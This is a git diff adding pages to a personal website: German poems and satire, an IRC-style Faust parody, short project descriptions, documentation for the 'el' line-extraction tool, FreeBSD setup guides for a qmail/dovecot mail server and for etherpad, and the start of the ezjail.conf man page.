11Konfrontiert mit Bildern von Kindern mit zum Teil mehr als drei Armen und lumineszierenden Augen, gab sich Dr. Michael Rogowski vom Bundesverband der Deutschen Industrie e.V. (BDI) euphorisch:
12
13"Das ist zwar alles schon sehr schön, aber wohl doch nur ein Anfang. Für Zuwanderer aus dem Ausland mit außergewöhnlichen Fähigkeiten sehen die Arbeitsmarktchancen in Deutschland durchweg positiv aus.
14
15Allerdings sollte in näherer Zukunft die Ausbeute noch erhöht werden. Biodesignkatalysatoren hat die deutsche Atomindustrie in ausreichenden Mengen, vorstellbar hier wären Abkommen zum beiderseitigen Nutzen, z.B. mit der Regierung von China. Dort alle Bürger mit 0.1g Gebraucht-Uran zu versorgen, das sie an fortpflanzungstechnisch wertvoller Stelle bei sich führen sollen, würde einen Absatz von 120 Tonnen gebrauchter Brennstäbe bedeuten, eine enorme Herausforderung für uns. Gingen wir von 50 prozentiger Infertilitätrate aus, wäre für die chinesische Regierung im Kampf gegen das Bevölkerungswachstum Enormes geleistet. Nach der dritten Brut sollte doch die Wahrscheinlichkeit gross genug sein, dass aus 1,2 Milliarden Einheiten genetischer Durchschnittsmasse bei mindestens 600 eine nützliche Mutation auftritt. Durch weiteres Auskreuzen könnte der Deutschen Industrie schon in 50 Jahren ein Heer biooptimierter Arbeitskräfte zur Verfügung stehen."
diff --git a/stories/poetry/urlaubsgruesse.md b/stories/poetry/urlaubsgruesse.md
new file mode 100644
index 0000000..e3d7cdb
--- /dev/null
+++ b/stories/poetry/urlaubsgruesse.md
@@ -0,0 +1,14 @@
1<!--
2.. title: Urlaubsgrüße
3.. date: 2010/07/01
4.. tags: poetry
5-->
6
7Schaust übers Meer und Gischt umspült dein Bein,<br/>
8und es ist, als lockt es dich mit jeder Welle,<br/>
9die voll Neugier dich umschmeichelt, tiefer noch<br/>
10im Sand zum Strand ins Salz zum Wasser weit und frei<br/>
11zum Horizont in die Weite, in die Leere, sanft hinein,<br/>
12und doch verweilt dein Fuß an der immer gleichen Stelle,<br/>
13und du sinkst im Schwung um Schwung gespülten Loch<br/>
14und das Meer zieht bis zur Flut zum Land an dir vorbei.
diff --git a/stories/poetry/vchat.md b/stories/poetry/vchat.md
new file mode 100644
index 0000000..1f61b40
--- /dev/null
+++ b/stories/poetry/vchat.md
@@ -0,0 +1,35 @@
1<!--
2.. title: vchat
3.. date: 2002/02/02
4.. tags: poetry
5-->
6<PRE>
7&lt;erdgeist&gt; Faust: wat'n?
8&lt;FAUST&gt; *abwend* du siehst ja krass aus
9&lt;erdgeist&gt; Faust: wie? erst nervste die ganze Zeit, und denn?
10&lt;FAUST&gt; erdgeist: sorry, du bist mir aber grad zu krass
11&lt;erdgeist&gt; Faust: eh, die ganze Zeit SMSen, Mails und so,
12 nur dass ich mich mal blicken lasse,
13 dann lass ich mich erweichen,
14 komm hier extra vorbei und denn guckste..
15 wat isn passiert?
16* Hans left channel 0
17&lt;erdgeist&gt; Faust: Haste da nicht eben noch rumgetoent,
18 M0n574-1337 h4x0r zu sein? Und wolltest's mir zeigen?
19 Und wo issa nu, der krasse Faust, der mich unbedingt
20 sehn wollte? Ich seh hier nur'n feiges Scriptkiddie
21&lt;FAUST&gt; erdgeist: Nu komm abba mal, bloss weilde hier mit
22 War-scripts auftauchst, hau ich noch lange nicht ab!
23&lt;erdgeist&gt; Ist ja nicht so, dass ich nix zu tun hab,
24 ich back da mal wieder ne frische Welt und der Kernel
25 ist auch mal wieder faellig und Heise hab ich auch
26 noch nicht durch...
27&lt;FAUST&gt; Man, du bist aber beschaeftigt. Kann ich nicht bei dir
28 joinen? Man, wir haben doch total viel gemeinsam...
29&lt;erdgeist&gt; Eh wat? Geh mit deine wareztradaz spieln und nerv nich!
30 ich mach mich dann mal vom Acker... bye
31* erdgeist left channel 0
32* erdgeist left the chat
33&lt;FAUST&gt; *sigh* warez traden...
34* Nobody hears you
35</PRE>
diff --git a/stories/poetry/verloren.md b/stories/poetry/verloren.md
new file mode 100644
index 0000000..e9cd0c3
--- /dev/null
+++ b/stories/poetry/verloren.md
@@ -0,0 +1,26 @@
1<!--
2.. title: Verloren
3.. date: 2001/07/02
4.. tags: poetry
5-->
6
7Engel verschwinden nicht einfach so aus Leben.<br/>
8Und dieser Engel, den ich liebgewann,<br/>
9als er mich vor dem Stumpfsinn bewahrte,<br/>
10dieser Engel entzieht sich nun langsam,<br/>
11kaum merklich fast, mit mir unbekanntem Ziel.<br/>
12Mag sein, um woanders Gutes zu tun,<br/>
13mag sein, seiner selbst willen,<br/>
14mag sein, meinetwegen.<br/>
15Und die Frage, die sich zweifellos aufdraengt,<br/>
16und auf die ich wohl nicht unvoreingenommen,<br/>
17weil immer noch vom heiligen Schein geblendet,<br/>
18antworten kann, muss wohl ungefaehr so lauten.<br/>
19Sollte man sich in den Weg stellen<br/>
20oder beim Starten helfen.<br/>
21Sollte man auf einen Engel Ruecksicht nehmen,<br/>
22oder wozu ist er denn da?<br/>
23Am Besten ist, man schliesst das Maerchenbuch,<br/>
24gesteht sich die verdraengten Fehlbarkeiten ein,<br/>
25denkt noch einmal ueber sich selbst nach,<br/>
26nennt es Liebe und erklaert sich zum Verlierer.
diff --git a/stories/poetry/wasted.md b/stories/poetry/wasted.md
new file mode 100644
index 0000000..f445146
--- /dev/null
+++ b/stories/poetry/wasted.md
@@ -0,0 +1,20 @@
1<!--
2.. title: Wasted
3.. date: 2003/06/01
4.. tags: poetry
5-->
6
7zwei seelen verwandt<br/>
8an einsamem ort<br/>
9als licht nur verband<br/>
10gemeinsames wort<br/>
11
12die naechte allein<br/>
13an tagen getraeumt<br/>
14in taumelndem schein<br/>
15die jugend versaeumt<br/>
16
17zwei seelen so nah<br/>
18vorbei nur am glueck<br/>
19verschenkten sich da<br/>
20ein leben zurueck<br/>
diff --git a/stories/poetry/wille.md b/stories/poetry/wille.md
new file mode 100644
index 0000000..78b5974
--- /dev/null
+++ b/stories/poetry/wille.md
@@ -0,0 +1,28 @@
1<!--
2.. title: (erdgeist IV) Wille
3.. date: 2002/12/04
4.. tags: poetry
5-->
6
7Wilder Wille beeindruckt den,<br/>
8der so Vieles schon erlebte<br/>
9und so Trauriges,<br/>
10der ganze Zivilisationen kommen<br/>
11und gehen hat sehen muessen,<br/>
12Einzelne und Viele auf ihrer<br/>
13immer gleichen Suche auf den<br/>
14immer gleichen Pfaden in einer<br/>
15immer gleichen Welt nach den<br/>
16immer gleichen Freiheiten,<br/>
17doch! Wilder Wille beeindruckt<br/>
18den immer noch. Weil er<br/>
19erinnert wird an die alten<br/>
20Tage, an die grossen Schlachten,<br/>
21Tragoedien und das grosse und<br/>
22kleine Elend. Und den Kampf<br/>
23dagegen und das immer wieder<br/>
24und wiederkehrende aufeinander<br/>
25und einander Treffen, bei dem<br/>
26doch am Ende nur einer gewinnt.<br/>
27Als Lichtschein in einer sonst<br/>
28monotonen Zeit.
diff --git a/stories/poetry/wortzahl84.md b/stories/poetry/wortzahl84.md
new file mode 100644
index 0000000..f370725
--- /dev/null
+++ b/stories/poetry/wortzahl84.md
@@ -0,0 +1,35 @@
1<!--
2.. title: Wortzahl: 84
3.. date: 1998/06/01
4.. tags: poetry
5-->
6
7Neue Epochen beginnen<br/>
8An jedem Tag<br/>
9Für jeden Einzelnen.<br/>
10In bessere Zeiten<br/>
11Führt es mich<br/>
12Mit edleren Zielen<br/>
13Sowie größeren Taten,<br/>
14Noch mehr Gefühlen,<br/>
15Nie geahnten Wegen.<br/>
16Zeigt mir dort<br/>
17Meine eigene Welt.<br/>
18Doch wenn nicht<br/>
19Bin ich tot -<br/>
20Oder zumindest fast -<br/>
21Einer von Ihnen<br/>
22Auf keinen Fall<br/>
23Anders als Jene,<br/>
24Die wir verachteten<br/>
25Nur aufgrund dessen,<br/>
26Daß sie sind,<br/>
27Was nun scheinbar<br/>
28Aus euch wird,<br/>
29Und welche uns<br/>
30Dafür wiederum haßten,<br/>
31Denen ihr jetzt<br/>
32Ohne zu fragen<br/>
33Ins Verderben folgt.<br/>
34<br/>
35Gehst du auch?
diff --git a/stories/poetry/zeitlos.md b/stories/poetry/zeitlos.md
new file mode 100644
index 0000000..342a8e1
--- /dev/null
+++ b/stories/poetry/zeitlos.md
@@ -0,0 +1,18 @@
1<!--
2.. title: Zeitlos
3.. date: 2001/01/01
4.. tags: poetry
5-->
6
7Mein Leben zieht nur noch links und rechts<br/>
8&nbsp;an mir vorbei.<br/>
9Sekunden, Minuten, Stunden versinken vor Scham ueber ihre Bedeutungslosigkeit<br/>
10&nbsp;in der Bedeutungslosigkeit.<br/>
11Tage gleiten wortlos ineinander ueber, als haetten sie<br/>
12&nbsp;die Naechte vergessen.<br/>
13Wochen gewoehnen sich daran, als eine zaehe Masse<br/>
14&nbsp;traege dahinzufliessen<br/>
15und im Einheitsgrau der Monate unaufhaltsam<br/>
16&nbsp;Jahre zu altern.<br/>
17Es scheint, als waere die Zeit aus meinem Leben<br/>
18&nbsp;einfach so ausgezogen.<br/>
diff --git a/stories/poetry/zynismus.md b/stories/poetry/zynismus.md
new file mode 100644
index 0000000..d68a5f0
--- /dev/null
+++ b/stories/poetry/zynismus.md
@@ -0,0 +1,36 @@
1<!--
2.. title: Zynismus
3.. date: 2001/06/01
4.. tags: poetry
5-->
6
7Wundervoll ist die Welt<br/>
8und zynisch ihre Kommentatoren.<br/>
9Und wer immer dich jemals gesehen hat,<br/>
10wird mir beipflichten muessen.<br/>
11
12Denn eine Welt, die dein Laecheln<br/>
13und den Zauber deiner Seele<br/>
14hervorgebracht hat, kann so schlecht<br/>
15ganz gewiss nicht sein.<br/>
16
17Aber eine Welt, die mir dein Laecheln<br/>
18und deine ewige Praesenz vorenthaelt<br/>
19und mich allein zuruecklaesst,<br/>
20mit dem Rest von ihr, kann so schoen<br/>
21ganz gewiss nicht sein.<br/>
22
23Und ich, der ich verlange, dein Laecheln<br/>
24und den Glanz, den du verstroemst,<br/>
25nur fuer mich allein zu haben, und dich<br/>
26der Welt vorzuenthalten und ihr das<br/>
27Wertvollste zu stehlen, kann so gerecht<br/>
28ganz gewiss nicht sein.<br/>
29
30Nur du, die du von alledem unwissend<br/>
31einfach nur du bist und dein Laecheln<br/>
32und dich selbst der ganzen Welt schenkst<br/>
33und dich doch nie vereinnahmen laesst,<br/>
34hoer bitte nicht auf meine Worte!<br/>
35Aber so zynisch wie ich wirst du<br/>
36ganz gewiss nicht sein.
diff --git a/stories/projects/Telefonbuch.rst b/stories/projects/Telefonbuch.rst
new file mode 100644
index 0000000..4c4260c
--- /dev/null
+++ b/stories/projects/Telefonbuch.rst
@@ -0,0 +1,7 @@
1.. link:
2.. description: is a project to quickly dump a certain kind of digital phone books.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: Telefonbuch
6.. slug: ../arts/software/Telefonbuch/index
7.. prio: 98
diff --git a/stories/projects/anonbox.rst b/stories/projects/anonbox.rst
new file mode 100644
index 0000000..404ddbb
--- /dev/null
+++ b/stories/projects/anonbox.rst
@@ -0,0 +1,7 @@
1.. link:
2.. description: is a web service to generate and maintain throw away email addresses, instanced on anonbox.net, including a javascript implementation of a unicode capable mbox-to-html renderer.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: anonbox
6.. slug: ../arts/software/anonbox/index
7.. prio: 99
diff --git a/stories/projects/briefkasten.rst b/stories/projects/briefkasten.rst
new file mode 100644
index 0000000..de4c8cd
--- /dev/null
+++ b/stories/projects/briefkasten.rst
@@ -0,0 +1,6 @@
1.. link:
2.. description: is a web service to anonymously submit messages via the web generating PGP mails and is instanced on the zeit-online briefkasten.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: briefkasten
6.. slug: ../arts/software/briefkasten/index
diff --git a/stories/projects/el.rst b/stories/projects/el.rst
new file mode 100644
index 0000000..8633181
--- /dev/null
+++ b/stories/projects/el.rst
@@ -0,0 +1,72 @@
1.. link:
2.. description: is a unix tool aiding the Telefonbuch project for export and search queries.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: el
6.. subtitle: extract lines from text files
7.. slug: ../arts/software/el/index
8.. prio: 100
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19*el* (from extract lines) is a unix tool to efficiently extract lines from a text file using a dynamic line end index. Its command line syntax is tuned to work with other posix tools – especially grep – to easily operate on poor man's databases where each of the database's columns is in a separate newline separated file.
20
21Since *el* mmaps the whole file, it does not work on streams.
22
23----
24
25Build instructions
26==================
27
28Get the source from my git repository ``git clone git://erdgeist.org/el`` and type ``make`` in the directory ``el``. *el* has no further dependencies and can just be copied to ``/usr/local/bin`` or wherever your binaries reside.
29
30----
31
32Invocation
33==========
34
35In its simplest form just run::
36
37 echo 1 2 3 4 5 6 7 8 9 10 | el file.txt
38
39to extract lines 1 to 10 from the file ``file.txt`` and print them to stdout. *el* also accepts white space separated line numbers with the ``-i`` parameter and can default to hexadecimal numbers with the ``-x`` switch::
40
41 el -i "10 11 12 13" -x file1.txt file2.txt
42
43extracts line 16 to 19 from the files ``file.txt`` and ``file2.txt``, each line separated by the tab character. If your line numbers start at ``0``, *el* will add 1, if it is run with the ``-0`` switch.
44
45The reason reading line numbers from stdin and not from command line by default becomes apparent, when you use the combining features of *el*, as it can parse and generate output as the ``grep`` posix tool does.
46
47If you use the ``-n`` switch, each extracted line is prefixed by it's line number and a colon, just as ``grep`` does. If you use the ``-g`` switch, *el* will also **expect** the line numbers on stdin to be terminated by a colon followed by garbage until next newline. So you can feed results from ``grep -n`` directly to it. With the ``-G`` option, not only will *el* parse the line numbers from ``grep``'s output, but also append the extracted lines from each file to the input line. In order to chain several ``grep`` and *el* commands, best combine the ``-Gn`` switches as in this example::
48
49 grep -n Manager positions.txt | el -Gn firstname.txt lastname.txt | grep Jon | el -Gn salary.txt
50
51This will produce, an output like this::
52
53 17:Manager\tJon\tMiller\t$1200
54 23:Manager\tJon\tDoe\t$1600
55
56given that all the text files contain corresponding rows of information about the staff.
57
58----
59
60Author
61======
62
63*el* was written by `Dirk Engling <mailto:erdgeist@erdgeist.org>`_, who likes to hear from happy customers.
64
65----
66
67License
68=======
69
70*el* is considered `beer ware </beerware.html>`_.
71
72
diff --git a/stories/projects/elektropost.rst b/stories/projects/elektropost.rst
new file mode 100644
index 0000000..b8ad9d1
--- /dev/null
+++ b/stories/projects/elektropost.rst
@@ -0,0 +1,197 @@
1.. link:
2.. description: is an ongoing mail server and webmail frontend project, documented to be set up on a FreeBSD jail and instanced on elektropost.org.
3.. tags: project
4.. date: 2014/02/01 19:10:08
5.. title: elektropost
6.. subtitle: a FreeBSD jail based mail server project.
7.. slug: ../arts/software/elektropost/index
8.. prio: 750
9
10.. contents::
11 :depth: 1
12 :class: ezjail-toc
13
14----
15
16Overview
17========
18
19`Here is a raw sketch </epost.pdf>`_ of how the elektropost setup works.
20
21Send feedback to `erdgeist <mailto:erdgeist@erdgeist.org>`_.
22
23----
24
25Install qmail
26=============
27
28* ``make patch`` in /usr/ports/mail/qmail-tls, choose SMTP_AUTH_PATCH, BIG_TODO_PATCH, BIG_CONCURRENCY_PATCH, DISCBOUNCES_PATCH and SPF_PATCH, keep RCDLINK
29* apply patch http://erdgeist.org/arts/software/Code/elektropost/validrcptto.cdb.patch.new to qmail-tls/work/qmail-1.03
30* apply patch http://erdgeist.org/arts/software/Code/elektropost/qmail-smtpd.c.privacy.patch to qmail-tls/work/qmail-1.03
31* ``make install`` in /usr/ports/mail/qmail-tls
32* add "QMAIL_SLAVEPORT=tls" in /etc/make.conf
33
34----
35
36Configure qmail
37===============
38
39* In /var/qmail/control check/edit all files
40* create a servercert.pem. On elektropost this one is used for lighty and dovecot as well, YMMV
41* install http://erdgeist.org/arts/software/Code/elektropost/tcp.smtp to /etc/tcp.smtp and alter it accordingly to your needs, ie fix/insert to "cat /etc/tcp.smtp | tcprules /etc/tcp.smtp.cdb /etc/tcp.smtp.tmp"
42
43 * for this you will need to ``make install`` in /usr/ports/sysutils/ucspi-tcp
44 * select SSL, leave MAN checked
45* ``ln -s /var/qmail/boot/qmail-smtpd.rcNG /usr/local/etc/rc.d/qmail-smtpd``
46* ``ln -s /var/qmail/boot/maildir /usr/local/etc/rc.d/qmail``
47* ``echo 'qmailsmtpd_enable="YES"' >> /etc/rc.conf``
48* ``echo 'qmailsmtpd_checkpassword="/usr/local/vpopmail/bin/vchkpw"' >> /etc/rc.conf``
49
50----
51
52Install vpopmail
53================
54
55* ``make install`` in /usr/ports/mail/vpopmail
56* Use default options for ucspi-tcp
57* ``chown vpopmail:vchkpw /usr/local/vpopmail``
58* ``chmod u+s ~vpopmail/bin/vchkpw``
59* ``pw user mod vpopmail -s /bin/sh``
60
61----
62
63Configure vpopmail
64==================
65
66* ``echo elektropost.org > /usr/local/vpopmail/etc/defaultdomain``
67
68----
69
70Install dovecot
71===============
72
73* ``make install`` in /usr/ports/mail/dovecot
74* choose option VPOPMAIL, keep the rest (maybe disable IPV6)
75* ``echo 'dovecot_enable="YES"' >> /etc/rc.conf``
76
77----
78
79Configure dovecot
80=================
81
82* ``cp /usr/local/etc/dovecot-example.conf /usr/local/etc/dovecot.conf``
83* Change: protocols = imap imaps pop3s
84* Change: listen = and ssl_listen = to match your ip addresses
85* Change: ssl_cert_file = /var/qmail/control/servercert.pem
86* Change: ssl_key_file = /var/qmail/control/servercert.pem
87* Change: mail_location = maildir:%h/Maildir
88* Change: first_valid_uid = 1
89* Change: first_valid_gid = 1
90* Change: max_mail_processes = 1024
91* Change: auth_username_format = %Ln@%Ld
92* Change: #passdb pam { and #} if you do not have local user mail
93* Change: #userdb passwd { and #} if you do not have local user mail
94* Change: userdb vpopmail { and } to use vpopmail's vchkpw
95
96----
97
98Install lighty
99==============
100
101* ``make install`` in /usr/ports/www/lighttpd
102* ``echo 'lighttpd_enable="YES"' >> /etc/rc.conf``
103
104----
105
106Configure lighty
107================
108
109* ``cp /usr/local/etc/lighttpd.conf.sample /usr/local/etc/lighttpd.conf``
110* Change: "mod_fastcgi",
111* Change: server.document-root = "/usr/local/www/squirrelmail/"
112* Change: server.port = 443
113* Change::
114
115 cgi.assign = ( ".pl" => "/usr/bin/perl",
116 ".cgi" => "/usr/bin/perl",
117 "/cgi-bin/qmailadmin" => "",
118 "/ezmlm-cgi" => "" )
119
120* Change: ssl.engine = "enable"
121* Change: ssl.pemfile = "/var/qmail/control/servercert.pem"
122* To inform users to use https, put a document to /usr/local/www/data/index.html and add::
123
124 #compatibility
125 $SERVER["socket"] == "<insert your ip address>:80" {
126 ssl.engine = "disable"
127 server.name = "<your fqdn>"
128 server.document-root = "/usr/local/www/data"
129 }
130
131----
132
133Install squirrelmail
134====================
135* ``make install`` in /usr/ports/mail/squirrelmail
136* Use default options for php5
137* Follow the instructions squirrelmail port prints out
138
139----
140
141Install qmailadmin / ezmlm-idx
142==============================
143
144* ``make install WITH_SPAM_DETECTION=TRUE SPAM_COMMAND="| /usr/local/bin/spamc -f | /usr/local/bin/maildrop" CGIBINDIR=www/squirrelmail/cgi-bin CGIBINSUBDIR= WEBDATADIR=www/squirrelmail WEBDATASUBDIR=qmailadmin in /usr/ports/mail/qmailadmin``
145* Use default options for ezmlm-idx
146
147----
148
149Install qmailadmin plugin for squirrelmail
150==========================================
151
152* ``make install`` in /usr/ports/mail/squirrelmail-qmailadmin_login-plugin
153
154----
155
156Install maildrop
157================
158
159* ``make install`` in /usr/ports/mail/maildrop
160
161----
162
163Install the maildrop spam sort magic
164====================================
165
166* install http://erdgeist.org/arts/software/Code/elektropost/maildroprc to /usr/local/etc/maildroprc
167
168----
169
170Install spamassassin
171====================
172
173* ``make install`` in /usr/ports/mail/p5-Mail-SpamAssassin, keep SPAMC, SSL, uncheck all others
174* ``echo '-d 192.168.0.2' > /usr/local/etc/mail/spamassassin/spamc.conf``
175
176----
177
178Install the Valid RCPTTO checking stuff
179=======================================
180
181* install http://erdgeist.org/arts/software/Code/elektropost/mkvalidrcptto to /usr/local/vpopmail/bin/mkvalidrcptto
182* ``chmod +x /usr/local/vpopmail/bin/mkvalidrcptto``
183* ``cpan install CDB_File`` to help perl understand cdb files
184* ``make install`` in /usr/ports/databases/cdb/
185* Add a script to your crontab (e.g. /usr/local/vpopmail/etc/tidymail.sh) that contains::
186
187 /usr/local/vpopmail/bin/mkvalidrcptto | /usr/local/bin/cdbmake-12 /var/qmail/control/validrcptto.cdb /tmp/validrcptto.tmp
188
189----
190
191Install the auto trash-pruning script
192=====================================
193
194* Add a script to your crontab (e.g. /usr/local/bin/prune-trash.sh) that contains::
195
196 find -E /usr/local/vpopmail/domains/ -type f -iregex "^.*/maildir/.*\.(junk|trash|spam)(\.[^/]+)?/(new|cur|tmp)/.*$" -mmin +86400 -delete
197
diff --git a/stories/projects/etherpad.rst b/stories/projects/etherpad.rst
new file mode 100644
index 0000000..cc75def
--- /dev/null
+++ b/stories/projects/etherpad.rst
@@ -0,0 +1,237 @@
1.. link:
2.. description: is a documentation project on how to setup the classic etherpad software in a FreeBSD jail.
3.. tags: project
4.. date: 2015/02/01 19:10:08
5.. title: etherpad
6.. slug: ../arts/software/etherpad/index
7
8.. contents::
9 :depth: 1
10 :class: ezjail-toc
11
12----
13
14Overview
15========
16
17This is how to install the etherpad from http://etherpad.org/ in a FreeBSD-8.2 jail. (N.B: Things are reported not to work with newer versions.)
18
19This guide assumes, you have sudo, bash and an editor of your choice installed. Reserve around 2GB space for the jail. If you're using a different shell, use ``setenv`` to configure the environment variables set by ``export`` in this guide. Send feedback to `erdgeist <mailto:erdgeist-etherpad@erdgeist.org>`_. Many regards to `this guide <http://pauleira.com/13/installing-etherpad/>`_, it helped me a lot.
20
21----
22
23Install Scala + Java
24====================
25
26Since etherpad does not build under the version of scala that is shipped with FreeBSD-8.2 (i.e. scala-2.8.0), we have to manually install scala-2.7.7. However, scala brings nice dependencies that help with the manual installation of the jdk. So we install scala-2.8.0 to get the dependencies, then deinstall it and install java and scala.
27
28* Fetch jdk here: `<jdk-1.6.0.3p4_15.tbz>`_
29* Fetch scala-2.7.7 here: `<scala-2.7.7.tbz>`_
30
31Then type::
32
33 pkg_add -r scala
34 pkg_delete -f scala\*
35 pkg_add jdk-1.6.0.3p4_15.tbz scala-2.7.7.tbz
36
37----
38
39Install mysql, fastjar and java connector
40=========================================
41
42Type::
43
44 pkg_add -r mysql55-server mysql-connector-java fastjar
45 echo mysql_enable=YES >> /etc/rc.conf
46 /usr/local/etc/rc.d/mysql-server start
47
48----
49
50Prepare mysql
51=============
52
53Connection in a jail comes from the jail IP, not from 127.0.0.1, so enter IPADDRESS accordingly
54
55``mysql -u root``
56
57and in the mysql shell::
58
59 create database etherpad;
60 grant all privileges on etherpad.* to 'etherpad'@'IPADDRESS' identified by 'MYSQLPASS_CHANGEME';
61
62----
63
64Checkout etherpad
65=================
66
67Type::
68
69 pkg_add -r git
70 cd /usr/local
71 git clone git://github.com/ether/pad.git
72
73known good commit 94d5b2dfd65abbee5a06d80d94cdb00a7947d9b1, otoh: you might want to check `my issue about this commit <https://github.com/ether/pad/issues/293>`_, overlay windows are broken atm.
74
75----
76
77Configure etherpad
78==================
79
80Type::
81
82 cd /usr/local/pad/etherpad
83 cp etc/etherpad.localdev-default.properties etc/etherpad.local.properties
84
85and in your ``etc/etherpad.local.properties`` do:
86
87* Change: devMode = false
88* Change: etherpad.isProduction = true
89* Change: etherpad.proAccounts = true
90* Change: etherpad.adminPass = ADMINPASS_CHANGEME
91* Change: etherpad.isProduction = true
92* Change: etherpad.SQL_PASSWORD = MYSQLPASS_CHANGEME
93* Change: listen = 0.0.0.0:9000
94* Change: topdomains = pads.domain.tld,localhost
95* Change: customEmailAddress = admin@pads.domain.tld
96* Change: transportUseWildcardSubdomains = false
97* Change: useHttpsUrls = true
98
99Remember the passwords well, take special care about trailing spaces! Now setup your domain in the following files:
100
101* src/main.js
102* src/static/crossdomain.xml
103* src/etherpad/pro/pro_utils.js
104* src/etherpad/control/pad/pad_control.js
105* src/etherpad/control/global_pro_account_control.js
106
107To disable a per-pad quota, comment out the call to _checkPadQuota in src/etherpad/control/pad/pad_control.js
108
109----
110
111Rebuild the JAR
112===============
113
114Type::
115
116 export JAVA_HOME="/usr/local/jdk1.6.0/"
117 export JAVA="/usr/local/jdk1.6.0/bin/java"
118 export SCALA="/usr/local/share/scala-2.7.7/bin/scala"
119 export SCALA_HOME="/usr/local/share/scala-2.7.7/"
120 export SCALA_LIBRARY_JAR="/usr/local/share/scala-2.7.7/lib/scala-library.jar"
121 export PATH=/usr/local/share/scala-2.7.7/bin/:$PATH
122 export MYSQL_CONNECTOR_JAR="/usr/local/share/java/classes/mysql-connector-java.jar"
123 export mysql=mysql
124
125Rebuild the ace dependency
126--------------------------
127
128This is especially important if you see this (google hint): ``net.appjet.bodylock.JSRuntimeException: Error: Neither module exists: etherpad.collab.ace.easysync2, etherpad.collab.ace.easysync2.``::
129
130 cd /usr/local/pad/infrastructure/ace
131 bin/make normal etherpad
132
133Rebuild the JAR with correct settings
134-------------------------------------
135
136Type::
137
138 cd /usr/local/pad/etherpad
139 bin/rebuildjar.sh
140
141----
142
143Install nginx
144=============
145
146Type::
147
148 cd /usr/ports/www/nginx
149 make install clean
150
151and be sure to select HTTPS.
152
153----
154
155Create Self Signed Certificates
156===============================
157
158For whatever your domain is, substitute it in the following commands::
159
160 openssl genrsa -out pads.domain.tld.key 1024
161 openssl req -new -key pads.domain.tld.key -out pads.domain.tld.csr
162 echo "subjectAltName=DNS:pads.domain.tld,DNS:*.pads.domain.tld" >pads.domain.tld.conf
163 openssl x509 -req -days 365 -in pads.domain.tld.csr -signkey pads.domain.tld.key -text -extfile pads.domain.tld.conf -out pads.domain.tld.crt
164 cat pads.domain.tld.crt pads.domain.tld.key >/usr/local/etc/nginx/pads.domain.tld.pem
165
166----
167
168Configure nginx
169===============
170
171Nginx configs were provided by cryx. Thank you. Fetch ``nginx.conf`` here: `<nginx.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx.conf`` do:
172
173* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains
174* Change: ssl_certificate pads.domain.tld.pem; as created above
175
176Fetch ``nginx-etherpad.conf`` here: `<nginx-etherpad.conf>`_ and put it to ``/usr/local/etc/nginx/``. Then in your local ``nginx-etherpad.conf`` do:
177
178* Change: server_name pads.domain.tld \*.pads.domain.tld; take special care to include the wildcard subdomains
179* Change: proxy_pass http://pads.domain.tld:9000/;
180
181Type::
182
183 mkdir /var/log/www/; chown www:www /var/log/www
184 echo nginx_enable=YES >> /etc/rc.conf
185
186----
187
188Install start script
189====================
190
191Fetch rc script here: `<etherpad>`_ and put it to ``/usr/local/etc/rc.d/``.
192
193Type::
194
195 chmod +x /usr/local/etc/rc.d/etherpad
196 echo etherpad_enable=YES >> /etc/rc.conf
197 mkdir /var/run/etherpad; chown etherpad /var/run/etherpad
198 chown -R etherpad:etherpad /usr/local/pad
199
200----
201
202Install openoffice
203==================
204
205If you want to export word and pdf documents, you need to install openoffice and run it as a headless service.
206
207Fetch the libreoffice package here: http://wiki.bsdforen.de/anwendungen/libreoffice_aus_inoffiziellen_paketen#freebsd_amd64i386_87-stable_kamikaze or, a know working mirror for `<libreoffice-3.3.3.tbz>`_, MD5 (libreoffice-3.3.3.tbz) = 028d259735b361e46af8a9e253f168a8.
208
209Install dependencies, ignore warnings about already installed older versions::
210
211 pkg_add -r xineramaproto xf86vidmodeproto xextproto videoproto renderproto randrproto printproto kbproto inputproto fixesproto dri2proto damageproto compositeproto font-util encodings libtextcat expat gnome_subr ca_root_nss hicolor-icon-theme gnomehier lp_solve python27 xcb-proto perl hu-hunspell poppler-data png lcms jpeg jbigkit tiff openjpeg jasper curl pkg-config xproto pixman libtasn1 libfontenc libXdmcp libXau libICE libSM freetype2 mkfontscale mkfontdir fontconfig font-misc-meltho font-misc-ethiopic font-bh-ttf bitstream-vera xorg-fonts-truetype pcre orc m4 libpthread-stubs libxcb xcb-util libdrm libX11 libXt libXrender libXft libXfixes libXext libXxf86vm libXv libXrandr libXpm libXp libXmu libXinerama libXi libXdamage libXcursor libXcomposite libXaw libGL libGLU libltdl libffi libcheck icu db41 libiconv libxml2 raptor rasqal redland gettext libgpg-error libgcrypt glib gamin gio-fam-backend shared-mime-info libIDL gdk-pixbuf desktop-file-utils dbus libgee dbus-glib eggdbus cairo poppler bison gobject-introspection gstreamer gstreamer-plugins polkit pango ORBit2 lzo2 gnutls cups-client atk gtk dconf gconf2 libgsf libwpd libwps libwpg libxslt
212
213Install the local package::
214
215 pkg_add -f libreoffice-3.3.3.tbz
216
217Fetch rc script here: `<soffice>`_ and put it to ``/usr/local/etc/rc.d/``. Then type::
218
219 chmod +x /usr/local/etc/rc.d/soffice
220 echo soffice_enable=YES >> /etc/rc.conf
221
222----
223
224Configure name server
225=====================
226
227Add records for the pads and wildcard subdomains, for tinydns this is::
228
229 +pads.domain.tld:192.168.0.23:43200
230 +*.pads.domain.tld:192.168.0.23:43200
231
232----
233
234Filter local services
235=====================
236
237Add rules to filter ports 9000 and 3306 to pf.
diff --git a/stories/projects/ezjail.conf.5 b/stories/projects/ezjail.conf.5
new file mode 100755
index 0000000..f35d412
--- /dev/null
+++ b/stories/projects/ezjail.conf.5
@@ -0,0 +1,229 @@
1.Dd December 5, 2013
2.Dt EZJAIL.CONF 5 USD
3.Os FreeBSD
4.Sh NAME
5.Pa ezjail.conf
6.Nd configuration file for ezjail script
7.Sh DESCRIPTION
8The file
9.Pa ezjail.conf
10contains settings that control the operation of the ezjail
11.Xr rc 8
12script. It is also read by the
13.Cm ezjail-admin
14utility to figure out where it should perform its actions. Its path is
15set at installation time to
